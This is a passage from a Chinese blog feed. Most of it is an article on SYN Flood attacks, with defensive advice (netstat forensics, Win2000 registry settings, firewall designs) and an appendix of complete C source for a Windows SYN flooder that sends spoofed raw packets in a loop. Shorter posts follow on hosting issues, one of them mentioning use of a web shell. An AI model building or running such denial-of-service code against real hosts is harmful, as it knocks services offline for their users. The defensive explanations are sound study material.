<p>    稍微动动脑筋我们就会发现，想对SYN Flooder程序进行优化是很简单的，从程序构架来看，攻击时循环内的代码主要是进行校验和计算与缓冲区的填充，一般的思路是提高校验和计算的速度，我甚至见过用汇编代码编写的校验和函数，实际上，有另外一个变通的方法可以轻松实现优化而又不需要高深的编程技巧和数学知识，（老实说吧，我数学比较差:P），我们仔细研究了两个不同源地址的TCP SYN报文后发现，两个报文的大部分字段相同（比如目的地址、协议等等），只有源地址和校验和不同（如果为了隐蔽，源端口也可以有变化，但是并不影响我们算法优化的思路），如果我们事先计算好大量的源地址与校验和的对应关系表（如果其他的字段有变化也可以加入这个表），等计算完毕了攻击程序就只需要单纯的组合缓冲区并发送（用指针来直接操作缓冲区的特定位置，从事先计算好的对应关系表中读出数据，替换缓冲区相应字段），这种简单的工作完全取决于系统发送IP包的速度，与程序的效率没有任何关系，这样，即使是CPU主频较低的主机也能快速的发送大量TCP SYN攻击包。如果考虑到缓冲区拼接的时间，甚至可以定义一个很大的缓冲区数组，填充完毕后再发送（雏鹰给这种方法想了一个很贴切的比喻：火箭炮装弹虽然很慢，但是一旦炮弹上膛了以后就可以连续猛烈地发射了:）。</p>
<p>  </p>
<p>  </p>
<p>  </p>
<p>  </p>
<p>  </p>
<p>第三部分 SYN Flood攻击的监测与防御初探</p>
<p>    对于SYN Flood攻击，目前尚没有很好的监测和防御方法，不过如果系统管理员熟悉攻击方法和系统架构，通过一系列的设定，也能从一定程度上降低被攻击系统的负荷，减轻负面的影响。（这正是我撰写本文的主要目的）</p>
<p>    一般来说，如果一个系统（或主机）负荷突然升高甚至失去响应，使用Netstat 命令能看到大量SYN_RCVD的半连接（数量&gt;500或占总连接数的10%以上），可以认定，这个系统（或主机）遭到了SYN Flood攻击。</p>
<p>    遭到SYN Flood攻击后，首先要做的是取证，通过Netstat –n –p tcp &gt;resault.txt记录目前所有TCP连接状态是必要的，如果有嗅探器，或者TcpDump之类的工具，记录TCP SYN报文的所有细节也有助于以后追查和防御，需要记录的字段有：源地址、IP首部中的标识、TCP首部中的序列号、TTL值等，这些信息虽然很可能是攻击者伪造的，但是用来分析攻击者的心理状态和攻击程序也不无帮助。特别是TTL值，如果大量的攻击包似乎来自不同的IP但是TTL值却相同，我们往往能推断出攻击者与我们之间的路由器距离，至少也可以通过过滤特定TTL值的报文降低被攻击系统的负荷（在这种情况下TTL值与攻击报文不同的用户就可以恢复正常访问）</p>
<p>    前面曾经提到可以通过缩短SYN Timeout时间和设置SYN Cookie来进行SYN攻击保护，对于Win2000系统，还可以通过修改注册表降低SYN Flood的危害，在注册表中作如下改动：</p>
<p>首先，打开regedit，找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters</p>
<p>增加一个SynAttackProtect的键值，类型为REG_DWORD，取值范围是0-2，这个值决定了系统受到SYN攻击时采取的保护措施，包括减少系统SYN+ACK的重试的次数等，默认值是0（没有任何保护措施），推荐设置是2；</p>
<p>增加一个TcpMaxHalfOpen的键值，类型为REG_DWORD，取值范围是100-0xFFFF，这个值是系统允许同时打开的半连接，默认情况下WIN2K PRO和SERVER是100，ADVANCED SERVER是500，这个值很难确定，取决于服务器TCP负荷的状况和可能受到的攻击强度，具体的值需要经过试验才能决定。</p>
<p>    增加一个TcpMaxHalfOpenRetried的键值，类型为REG_DWORD，取值范围是80-0xFFFF，默认情况下WIN2K PRO和SERVER是80，ADVANCED SERVER是400，这个值决定了在什么情况下系统会打开SYN攻击保护。</p>
<p>  </p>
<p>    我们来分析一下Win2000的SYN攻击保护机制：正常情况下，Win2K对TCP连接的三次握手有一个常规的设置，包括SYN Timeout时间、SYN-ACK的重试次数和SYN报文从路由器到系统再到Winsock的延时等，这个常规设置是针对系统性能进行优化的（安全和性能往往相互矛盾）所以可以给用户提供方便快捷的服务；一旦服务器受到攻击，SYN半连接的数量超过TcpMaxHalfOpenRetried的设置，系统会认为自己受到了SYN Flood攻击，此时设置在SynAttackProtect键值中的选项开始作用，SYN Timeout时间被减短，SYN-ACK的重试次数减少，系统也会自动对缓冲区中的报文进行延时，避免对TCP/IP堆栈造成过大的冲击，力图将攻击危害减到最低；如果攻击强度不断增大，超过了TcpMaxHalfOpen值，此时系统已经不能提供正常的服务了，更重要的是保证系统不会崩溃，所以系统将会丢弃任何超出TcpMaxHalfOpen值范围的SYN报文（应该是使用随机丢包策略），保证系统的稳定性。</p>
<p>    所以，对于需要进行SYN攻击保护的系统，我们可以测试/预测一下访问峰值时期的半连接打开量，以其作为参考设定TcpMaxHalfOpenRetried的值（保留一定的余量），然后再以TcpMaxHalfOpenRetried的1.25倍作为TcpMaxHalfOpen值，这样可以最大限度地发挥WIN2K自身的SYN攻击保护机制。</p>
<p>    通过设置注册表防御SYN Flood攻击，采用的是“挨打”的策略，无论系统如何强大，始终不能光靠挨打支撑下去，除了挨打之外，“退让”也是一种比较有效的方法。</p>
<p>    退让策略是基于SYN Flood攻击代码的一个缺陷，我们重新来分析一下SYN Flood攻击者的流程：SYN Flood程序有两种攻击方式，基于IP的和基于域名的，前者是攻击者自己进行域名解析并将IP地址传递给攻击程序，后者是攻击程序自动进行域名解析，但是它们有一点是相同的，就是一旦攻击开始，将不会再进行域名解析，我们的切入点正是这里：假设一台服务器在受到SYN Flood攻击后迅速更换自己的IP地址，那么攻击者仍在不断攻击的只是一个空的IP地址，并没有任何主机，而防御方只要将DNS解析更改到新的IP地址就能在很短的时间内（取决于DNS的刷新时间）恢复用户通过域名进行的正常访问。为了迷惑攻击者，我们甚至可以放置一台“牺牲”服务器让攻击者满足于攻击的“效果”（由于DNS缓冲的原因，只要攻击者的浏览器不重起，他访问的仍然是原先的IP地址）。</p>
<p>    同样的原因，在众多的负载均衡架构中，基于DNS解析的负载均衡本身就拥有对SYN Flood的免疫力，基于DNS解析的负载均衡能将用户的请求分配到不同IP的服务器主机上，攻击者攻击的永远只是其中一台服务器，虽然说攻击者也能不断去进行DNS请求从而打破这种“退让”策略，但是一来这样增加了攻击者的成本，二来过多的DNS请求可以帮助我们追查攻击者的真正踪迹（DNS请求不同于SYN攻击，是需要返回数据的，所以很难进行IP伪装）。</p>
<p>  </p>
<p>    对于防火墙来说，防御SYN Flood攻击的方法取决于防火墙工作的基本原理，一般说来，防火墙可以工作在TCP层之上或IP层之下，工作在TCP层之上的防火墙称为网关型防火墙，网关型防火墙与服务器、客户机之间的关系如下图所示：</p>
<p>  </p>
<p>外部TCP连接                内部TCP连接</p>
<p>    [客户机] =================&gt;[防火墙] =================&gt;[服务器]</p>
<p>    </p>
<p>    如上图所示，客户机与服务器之间并没有真正的TCP连接，客户机与服务器之间的所有数据交换都是通过防火墙代理的，外部的DNS解析也同样指向防火墙，所以如果网站被攻击，真正受到攻击的是防火墙，这种防火墙的优点是稳定性好，抗打击能力强，但是因为所有的TCP报文都需要经过防火墙转发，所以效率比较低由于客户机并不直接与服务器建立连接，在TCP连接没有完成时防火墙不会去向后台的服务器建立新的TCP连接，所以攻击者无法越过防火墙直接攻击后台服务器，只要防火墙本身做的足够强壮，这种架构可以抵抗相当强度的SYN Flood攻击。但是由于防火墙实际建立的TCP连接数为用户连接数的两倍（防火墙两端都需要建立TCP连接），同时又代理了所有的来自客户端的TCP请求和数据传送，在系统访问量较大时，防火墙自身的负荷会比较高，所以这种架构并不能适用于大型网站。（我感觉，对于这样的防火墙架构，使用TCP_STATE攻击估计会相当有效:）</p>
<p>    工作在IP层或IP层之下的防火墙（路由型防火墙）工作原理有所不同，它与服务器、客户机的关系如下图所示：</p>
<p>[防火墙] 数据包修改转发</p>
<p>    [客户机]========|=======================&gt;[服务器]</p>
<p>TCP连接</p>
<p>  </p>
<p>    客户机直接与服务器进行TCP连接，防火墙起的是路由器的作用，它截获所有通过的包并进行过滤，通过过滤的包被转发给服务器，外部的DNS解析也直接指向服务器，这种防火墙的优点是效率高，可以适应100Mbps-1Gbps的流量，但是这种防火墙如果配置不当，不仅可以让攻击者越过防火墙直接攻击内部服务器，甚至有可能放大攻击的强度，导致整个系统崩溃。</p>
<p>    在这两种基本模型之外，有一种新的防火墙模型，我个人认为还是比较巧妙的，它集中了两种防火墙的优势，这种防火墙的工作原理如下所示：</p>
<p>第一阶段，客户机请求与防火墙建立连接：</p>
<p>SYN                           SYN+ACK                           ACK</p>
<p>    [客户机]&#8212;- &gt;[防火墙]   =&gt;   [防火墙]&#8212;&#8212;&#8211; &gt;[客户机]   =&gt;   [客户机]&#8212; &gt;[防火墙]</p>
<p>  </p>
<p>第二阶段，防火墙伪装成客户机与后台的服务器建立连接</p>
<p>[防火墙]&lt; =========== &gt;[服务器]</p>
<p>TCP连接</p>
<p>  </p>
<p>    第三阶段，之后所有从客户机来的TCP报文防火墙都直接转发给后台的服务器</p>
<p>防火墙转发</p>
<p>[客户机]&lt; ======|======= &gt;[服务器]</p>
<p>                     TCP连接</p>
<p>    这种结构吸取了上两种防火墙的优点，既能完全控制所有的SYN报文，又不需要对所有的TCP数据报文进行代理，是一种两全其美的方法。</p>
<p>近来，国外和国内的一些防火墙厂商开始研究带宽控制技术，如果能真正做到严格控制、分配带宽，就能很大程度上防御绝大多数的拒绝服务攻击，我们还是拭目以待吧。</p>
<p>  </p>
<p>附录：Win2000下的SYN Flood程序</p>
<p>改编自Linux下Zakath编写的SYN Flooder</p>
<p>编译环境：VC++6.0,编译时需要包含ws2_32.lib</p>
<p>//////////////////////////////////////////////////////////////////////////</p>
<p>//                                                                      //</p>
<p>//  SYN Flooder For Win2K by Shotgun                                    //</p>
<p>//                                                                      //</p>
<p>//  THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath             //</p>
<p>//  THANX Lion Hook FOR PROGRAM OPTIMIZATION                            //</p>
<p>//                                                                      //</p>
<p>//  Released:    [2001.4]                                                //</p>
<p>//  Author:     [Shotgun]                                               //</p>
<p>//  Homepage:                                                           //</p>
<p>//              [http://IT.Xici.Net]                                    //</p>
<p>//              [http://WWW.Patching.Net]                               //</p>
<p>//                                                                      //</p>
<p>//////////////////////////////////////////////////////////////////////////</p>
<p>#include &lt;winsock2.h&gt;</p>
<p>#include &lt;Ws2tcpip.h&gt;</p>
<p>#include &lt;stdio.h&gt;</p>
<p>#include &lt;stdlib.h&gt;</p>
<p>#define SEQ 0&#215;28376839</p>
<p>#define SYN_DEST_IP “192.168.15.250&#8243;//被攻击的IP</p>
<p>#define FAKE_IP “10.168.150.1&#8243;       //伪装IP的起始值，本程序的伪装IP覆盖一个B类网段</p>
<p>#define STATUS_FAILED 0xFFFF      //错误返回值</p>
<p>  </p>
<p>typedef struct _iphdr              //定义IP首部</p>
<p>{</p>
<p>    unsigned char h_verlen;            //4位首部长度,4位IP版本号</p>
<p>    unsigned char tos;               //8位服务类型TOS</p>
<p>    unsigned short total_len;      //16位总长度（字节）</p>
<p>    unsigned short ident;            //16位标识</p>
<p>    unsigned short frag_and_flags;  //3位标志位</p>
<p>    unsigned char  ttl;              //8位生存时间 TTL</p>
<p>    unsigned char proto;         //8位协议 (TCP, UDP 或其他)</p>
<p>    unsigned short checksum;        //16位IP首部校验和</p>
<p>    unsigned int sourceIP;            //32位源IP地址</p>
<p>    unsigned int destIP;         //32位目的IP地址</p>
<p>}IP_HEADER;</p>
<p>  </p>
<p>struct                              //定义TCP伪首部</p>
<p>{</p>
<p>        unsigned long saddr;     //源地址</p>
<p>        unsigned long daddr;     //目的地址</p>
<p>        char mbz;</p>
<p>        char ptcl;                   //协议类型</p>
<p>        unsigned short tcpl;     //TCP长度</p>
<p>}psd_header;</p>
<p>  </p>
<p>typedef struct _tcphdr             //定义TCP首部</p>
<p>{</p>
<p>    USHORT th_sport;               //16位源端口</p>
<p>    USHORT th_dport;               //16位目的端口</p>
<p>    unsigned int th_seq;         //32位序列号</p>
<p>    unsigned int th_ack;         //32位确认号</p>
<p>    unsigned char th_lenres;        //4位首部长度/6位保留字</p>
<p>    unsigned char th_flag;            //6位标志位</p>
<p>    USHORT th_win;                 //16位窗口大小</p>
<p>    USHORT th_sum;                 //16位校验和</p>
<p>    USHORT th_urp;                 //16位紧急数据偏移量</p>
<p>}TCP_HEADER;</p>
<p>  </p>
<p>//CheckSum:计算校验和的子函数</p>
<p>USHORT checksum(USHORT *buffer, int size)</p>
<p>{</p>
<p>unsigned long cksum=0;</p>
<p>      while(size &gt;1) {</p>
<p>    cksum+=*buffer++;</p>
<p>    size -=sizeof(USHORT);</p>
<p>  }</p>
<p>  if(size ) {</p>
<p>    cksum += *(UCHAR*)buffer;</p>
<p>  }</p>
<p>  cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);</p>
<p>  cksum += (cksum &gt;&gt;16);</p>
<p>  return (USHORT)(~cksum);</p>
<p>}</p>
<p>  </p>
<p>//  SynFlood主函数</p>
<p>int main()</p>
<p>{</p>
<p>    int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;</p>
<p>    int TimeOut=2000,SendSEQ=0;</p>
<p>    char SendBuf[128]={0};</p>
<p>    char RecvBuf[65535]={0};</p>
<p>    WSADATA wsaData;</p>
<p>    SOCKET SockRaw=(SOCKET)NULL;</p>
<p>    struct sockaddr_in DestAddr;</p>
<p>    IP_HEADER ip_header;</p>
<p>    TCP_HEADER tcp_header;</p>
<p>    //初始化SOCK_RAW</p>
<p>    if((ErrorCode=WSAStartup(MAKEWORD(2,1),&amp;wsaData))!=0){</p>
<p>        fprintf(stderr,”WSAStartup failed: %d\n”,ErrorCode);</p>
<p>        ExitProcess(STATUS_FAILED);</p>
<p>    }</p>
<p>    SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));</p>
<p>if (SockRaw==INVALID_SOCKET){</p>
<p>        fprintf(stderr,”WSASocket() failed: %d\n”,WSAGetLastError());</p>
<p>        ExitProcess(STATUS_FAILED);</p>
<p>    }</p>
<p>    flag=TRUE;</p>
<p>    //设置IP_HDRINCL以自己填充IP首部</p>
<p>    ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&amp;flag,sizeof(int));</p>
<p>If (ErrorCode==SOCKET_ERROR)  printf(“Set IP_HDRINCL Error!\n”);</p>
<p>    __try{</p>
<p>        //设置发送超时</p>
<p>        ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&amp;TimeOut,sizeof(TimeOut));</p>
<p>if(ErrorCode==SOCKET_ERROR){</p>
<p>            fprintf(stderr,”Failed to set send TimeOut: %d\n”,WSAGetLastError());</p>
<p>            __leave;</p>
<p>        }</p>
<p>        memset(&amp;DestAddr,0,sizeof(DestAddr));</p>
<p>        DestAddr.sin_family=AF_INET;</p>
<p>        DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);</p>
<p>        FakeIpNet=inet_addr(FAKE_IP);</p>
<p>        FakeIpHost=ntohl(FakeIpNet);</p>
<p>        //填充IP首部</p>
<p>        ip_header.h_verlen=(4&lt;&lt;4 | sizeof(ip_header)/sizeof(unsigned long));</p>
<p>//高四位IP版本号，低四位首部长度</p>
<p>        ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));     //16位总长度（字节）</p>
<p>        ip_header.ident=1;                                                       //16位标识</p>
<p>        ip_header.frag_and_flags=0;                                               //3位标志位</p>
<p>        ip_header.ttl=128;                                                       //8位生存时间TTL</p>
<p>        ip_header.proto=IPPROTO_TCP;                                          //8位协议(TCP,UDP…)</p>
<p>        ip_header.checksum=0;                                                    //16位IP首部校验和</p>
<p>        ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);                          //32位源IP地址</p>
<p>        ip_header.destIP=inet_addr(SYN_DEST_IP);                               //32位目的IP地址</p>
<p>    //填充TCP首部</p>
<p>        tcp_header.th_sport=htons(7000);                                      //源端口号</p>
<p>        tcp_header.th_dport=htons(8080);                                      //目的端口号</p>
<p>        tcp_header.th_seq=htonl(SEQ+SendSEQ);                                  //SYN序列号</p>
<p>        tcp_header.th_ack=0;                                                 //ACK序列号置为0</p>
<p>        tcp_header.th_lenres=(sizeof(TCP_HEADER)/4&lt;&lt;4|0);                        //TCP长度和保留位</p>
<p>        tcp_header.th_flag=2;                                                    //SYN 标志</p>
<p>        tcp_header.th_win=htons(16384);                                           //窗口大小</p>
<p>        tcp_header.th_urp=0;                                                 //偏移</p>
<p>        tcp_header.th_sum=0;                                                 //校验和</p>
<p>        //填充TCP伪首部（用于计算校验和，并不真正发送）</p>
<p>        psd_header.saddr=ip_header.sourceIP;                                    //源地址</p>
<p>        psd_header.daddr=ip_header.destIP;                                      //目的地址</p>
<p>        psd_header.mbz=0;</p>
<p>        psd_header.ptcl=IPPROTO_TCP;                                            //协议类型</p>
<p>        psd_header.tcpl=htons(sizeof(tcp_header));                              //TCP首部长度</p>
<p>        while(1) {</p>
<p>            //每发送10,240个报文输出一个标示符</p>
<p>            printf(“.”);</p>
<p>            for(counter=0;counter&lt;10240;counter++){</p>
<p>                if(SendSEQ++==65536) SendSEQ=1;                                  //序列号循环</p>
<p>                //更改IP首部</p>
<p>                ip_header.checksum=0;                                            //16位IP首部校验和</p>
<p>                ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);                  //32位源IP地址</p>
<p>                //更改TCP首部</p>
<p>                tcp_header.th_seq=htonl(SEQ+SendSEQ);                          //SYN序列号</p>
<p>                tcp_header.th_sum=0;                                         //校验和</p>
<p>                //更改TCP Pseudo Header</p>
<p>                psd_header.saddr=ip_header.sourceIP;                  </p>
<p>                //计算TCP校验和，计算校验和时需要包括TCP pseudo header        </p>
<p>                memcpy(SendBuf,&amp;psd_header,sizeof(psd_header));  </p>
<p>                memcpy(SendBuf+sizeof(psd_header),&amp;tcp_header,sizeof(tcp_header));</p>
<p>                tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));</p>
<p>                //计算IP校验和</p>
<p>                memcpy(SendBuf,&amp;ip_header,sizeof(ip_header));</p>
<p>                memcpy(SendBuf+sizeof(ip_header),&amp;tcp_header,sizeof(tcp_header));</p>
<p>                memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);</p>
<p>                datasize=sizeof(ip_header)+sizeof(tcp_header);</p>
<p>                ip_header.checksum=checksum((USHORT *)SendBuf,datasize);</p>
<p>                //填充发送缓冲区</p>
<p>                memcpy(SendBuf,&amp;ip_header,sizeof(ip_header));</p>
<p>                //发送TCP报文</p>
<p>                ErrorCode=sendto(SockRaw,</p>
<p>                                SendBuf,</p>
<p>                                datasize,</p>
<p>                                0,</p>
<p>                                (struct sockaddr*) &amp;DestAddr,</p>
<p>                                sizeof(DestAddr));</p>
<p>if (ErrorCode==SOCKET_ERROR) printf(“\nSend Error:%d\n”,GetLastError());</p>
<p>            }//End of for</p>
<p>        }//End of While</p>
<p>    }//End of try</p>
<p>  __finally {</p>
<p>    if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);</p>
<p>    WSACleanup();</p>
<p>  }</p>
<p>  return 0;</p>
<p>}</p>
<h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>10/06/2009 -- <a href="http://www.crazylemon.net/web/2136.html" title="bluehost的域名解析问题">bluehost的域名解析问题</a> (2)</li><li>06/16/2009 -- <a href="http://www.crazylemon.net/linux/665.html" title="linux下top命令参数解释">linux下top命令参数解释</a> (0)</li><li>01/20/2011 -- <a href="http://www.crazylemon.net/php/3801.html" title="PHP curl 处理ssl地址">PHP curl 处理ssl地址</a> (0)</li><li>08/20/2009 -- <a href="http://www.crazylemon.net/windows/1652.html" title="右键菜单没有共享选项的解决办法 ">右键菜单没有共享选项的解决办法 </a> (1)</li><li>06/10/2011 -- <a href="http://www.crazylemon.net/zencart/3876.html" title="zencart seo url 中文地址乱码">zencart seo url 中文地址乱码</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/web/3758.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>关于IXwebhosting文件管理器的问题</title>
		<link>http://www.crazylemon.net/web/3723.html</link>
		<comments>http://www.crazylemon.net/web/3723.html#comments</comments>
		<pubDate>Sat, 06 Nov 2010 13:13:02 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[虚拟主机]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3723</guid>
		<description><![CDATA[IXwebhosting主机是我目前所知性价比最高的主机之一，当然，便宜没好货，稳定性略逊于bluehost，而且由于使用的都是远程mysql数据库，网站的执行速度也较一般。 但最可悲的是，它的文件管理系统不好用，时常抽风，不知道从哪天开始，解压和复制文件夹功能傻B掉了，解到一半就停，复制到一半也停，只留个空白页，再一查看，无论是解压缩还是复制，确实少了好多文件或文件夹，哪怕你是用何种压缩包，哪怕要操作的文件夹大小只有wordpress那么大。 这个问题和对方客服说了也是白说，扯蛋半天后，顶多是他们帮你解压，而实质问题还是得不到解决。 这时中国菜刀派上用块了，使用虚拟终端功能，可以执行解压复制功能，原理大约和IX控制面板的一样，但成功率100%。 具体操作就不提了，菜刀凶猛，少用为妙。 随机日志06/08/2009 -- 3个可用的博客提交页面 (1)06/29/2009 -- www.pir.org-.org域名查询限制 (0)09/18/2009 -- excel取消自动超链接 (2)08/02/2009 -- 国家关于劳动者劳动时间的规定 (5)04/21/2010 -- WHM 删除nameserver IPs bug (0)]]></description>
			<content:encoded><![CDATA[<p>IXwebhosting主机是我目前所知性价比最高的主机之一，当然，便宜没好货，稳定性略逊于bluehost，而且由于使用的都是远程mysql数据库，网站的执行速度也较一般。</p>
<p>但最可悲的是，它的文件管理系统不好用，时常抽风，不知道从哪天开始，解压和复制文件夹功能傻B掉了，解到一半就停，复制到一半也停，只留个空白页，再一查看，无论是解压缩还是复制，确实少了好多文件或文件夹，哪怕你是用何种压缩包，哪怕要操作的文件夹大小只有wordpress那么大。</p>
<p>这个问题和对方客服说了也是白说，扯蛋半天后，顶多是他们帮你解压，而实质问题还是得不到解决。</p>
<p>这时中国菜刀派上用块了，使用虚拟终端功能，可以执行解压复制功能，原理大约和IX控制面板的一样，但成功率100%。</p>
<p>具体操作就不提了，菜刀凶猛，少用为妙。</p>
<h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>05/27/2009 -- <a href="http://www.crazylemon.net/php/207.html" title="PHP获取域名whois信息的类">PHP获取域名whois信息的类</a> (0)</li><li>01/26/2010 -- <a href="http://www.crazylemon.net/windows/2853.html" title="硬盘安装windows server 2008">硬盘安装windows server 2008</a> (0)</li><li>11/16/2009 -- <a href="http://www.crazylemon.net/kaixin/2495.html" title="额&#8230;">额&#8230;</a> (2)</li><li>09/09/2009 -- <a href="http://www.crazylemon.net/zencart/1784.html" title="熬了一夜">熬了一夜</a> (1)</li><li>03/09/2010 -- <a href="http://www.crazylemon.net/work/2952.html" title="牛博网的声明">牛博网的声明</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/web/3723.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Error while connecting to MySQL. Failover enacted.(cPanel)</title>
		<link>http://www.crazylemon.net/web/3664.html</link>
		<comments>http://www.crazylemon.net/web/3664.html#comments</comments>
		<pubDate>Sun, 24 Oct 2010 13:18:22 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[虚拟主机]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3664</guid>
		<description><![CDATA[一朋友的cpanel无法创建数据库，应该说是无法进行数据库的任何操作，因为数据库根本连不上 点开MySQL 数据库功能，报告如下错误： Error while connecting to MySQL. Failover enacted. 解决方式，参考老外的： This error comes when Perl modules for database are outdated OR not installed. You can install them using following Commands: root@server [~]# perl -MCPAN -e shell cpan&#62; install Bundle::CPAN cpan&#62; reload cpan cpan&#62; install HTTP:ateate cpan&#62; install HTTP:Date cpan&#62; install Net::AIM::Connection cpan&#62; install Net::AIM [...]]]></description>
			<content:encoded><![CDATA[<p>一朋友的cpanel无法创建数据库，应该说是无法进行数据库的任何操作，因为数据库根本连不上</p>
<p>点开MySQL 数据库功能，报告如下错误：</p>
<p><strong>Error while connecting to MySQL. Failover enacted.</strong></p>
<p>解决方式，参考老外的：</p>
<p>This error comes when Perl modules for database are outdated OR not installed. You can install them using following Commands:</p>
<p><code>root@server [~]# perl -MCPAN -e shell<br />
cpan&gt; install Bundle::CPAN<br />
cpan&gt; reload cpan<br />
cpan&gt; install HTTP:ateate<br />
cpan&gt; install HTTP:Date<br />
cpan&gt; install Net::AIM::Connection<br />
cpan&gt; install Net::AIM<br />
cpan&gt; install Tie::IxHash<br />
cpan&gt; install DBI<br />
cpan&gt; install DBD::mysql</code></p>
<p>但是，在执行 </p>
<p>install HTTP:ateate</p>
<p>时会报如下错误：</p>
<p>Warning: Cannot install HTTP:ateate, don&#8217;t know what it is.</p>
<p>这个暂时没找到解决方法，不过好像问题不大，上面的命令执行两次后，数据库正常了</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>09/01/2010 -- <a href="http://www.crazylemon.net/mysql/3455.html" title="mysql 注入方法（转自Security Angel）">mysql 注入方法（转自Security Angel）</a> (1)</li><li>06/06/2009 -- <a href="http://www.crazylemon.net/nginx/510.html" title="nginx详解">nginx详解</a> (0)</li><li>02/05/2009 -- <a href="http://www.crazylemon.net/mysql/41.html" title="mysql 双机互备">mysql 双机互备</a> (0)</li><li>09/29/2009 -- <a href="http://www.crazylemon.net/hack/2078.html" title="一句话木马">一句话木马</a> (0)</li><li>08/10/2009 -- <a href="http://www.crazylemon.net/mysql/1548.html" title="使用Navicat连接远程数据库2013错误">使用Navicat连接远程数据库2013错误</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/web/3664.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bluehost的数据库用户名验证方式</title>
		<link>http://www.crazylemon.net/mysql/3627.html</link>
		<comments>http://www.crazylemon.net/mysql/3627.html#comments</comments>
		<pubDate>Wed, 20 Oct 2010 06:47:01 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[虚拟主机]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3627</guid>
		<description><![CDATA[Bluehost的数据库用户名长度限制是16位，形式如XXXXXXXX_XXXXXXX 有趣的一点是，如果你的数据库用户名长度是16位，刚好满足最大长度，那么，你在这个用户名后再加任意字符串也能正常使用 即，bluehost的数据库用户名只验证前16位是否正确，与我们一般使用的全部MD5加密对比的方法有所不同。 当然，可能不只是bluehost的问题，可能所有cpanel都是这样，没空去测试 随机日志03/15/2010 -- 取消讨厌的windows server 2008 IE增强安全配置 (1)07/30/2009 -- 使用yum命令时报Cannot retrieve repository metadata错的解决方法 (0)07/06/2009 -- 什么是“三股势力” (0)01/13/2010 -- Google可能将退出中国市场 (6)01/16/2010 -- RealVNC,很不错的多人远程桌面软件 (1)]]></description>
			<content:encoded><![CDATA[<p>Bluehost的数据库用户名长度限制是16位，形式如XXXXXXXX_XXXXXXX</p>
<p>有趣的一点是，如果你的数据库用户名长度是16位，刚好满足最大长度，那么，你在这个用户名后再加任意字符串也能正常使用</p>
<p>即，bluehost的数据库用户名只验证前16位是否正确，与我们一般使用的全部MD5加密对比的方法有所不同。</p>
<p>当然，可能不只是bluehost的问题，可能所有cpanel都是这样，没空去测试</p>
<h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>10/31/2010 -- <a href="http://www.crazylemon.net/css/3705.html" title="如何让PNG格式的透明图片在IE6下正常显示">如何让PNG格式的透明图片在IE6下正常显示</a> (0)</li><li>10/26/2010 -- <a href="http://www.crazylemon.net/seo/3686.html" title="什么相对链接与绝对链接">什么相对链接与绝对链接</a> (1)</li><li>11/09/2010 -- <a href="http://www.crazylemon.net/zencart/3731.html" title="Zen Cart 快速更新模块">Zen Cart 快速更新模块</a> (0)</li><li>09/16/2009 -- <a href="http://www.crazylemon.net/wordpress/1929.html" title="什么是TrackBack?">什么是TrackBack?</a> (1)</li><li>11/03/2010 -- <a href="http://www.crazylemon.net/seo/3712.html" title="相对链接和绝对链接的比较（老外）">相对链接和绝对链接的比较（老外）</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/mysql/3627.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Godaddy IIS7 ReWrite 规则的编写</title>
		<link>http://www.crazylemon.net/windows/3581.html</link>
		<comments>http://www.crazylemon.net/windows/3581.html#comments</comments>
		<pubDate>Thu, 07 Oct 2010 07:53:17 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[Windows]]></category>
		<category><![CDATA[虚拟主机]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[rewrite]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[正则表达式]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3581</guid>
